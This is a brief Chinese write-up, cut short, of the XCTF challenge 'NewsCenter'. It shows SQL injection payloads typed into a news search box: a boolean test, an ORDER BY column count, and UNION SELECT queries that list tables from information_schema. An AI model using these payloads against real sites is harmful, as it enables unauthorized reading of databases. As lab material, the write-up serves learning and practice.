攻防世界-NewsCenter詳解

NewsCenter 進入後我們發現有一個搜索框進行新聞搜索我們嘗試有無sql注入 我們輸入1’ and 1=1 #判斷有無sql注入發現有 查看列數1’ order by 3 # 聯合查詢 1’ union select 1,2,3 # 查表： 1’ union select 1,group_concat(table_name),3 from information_schema.tables

>>阅读原文<<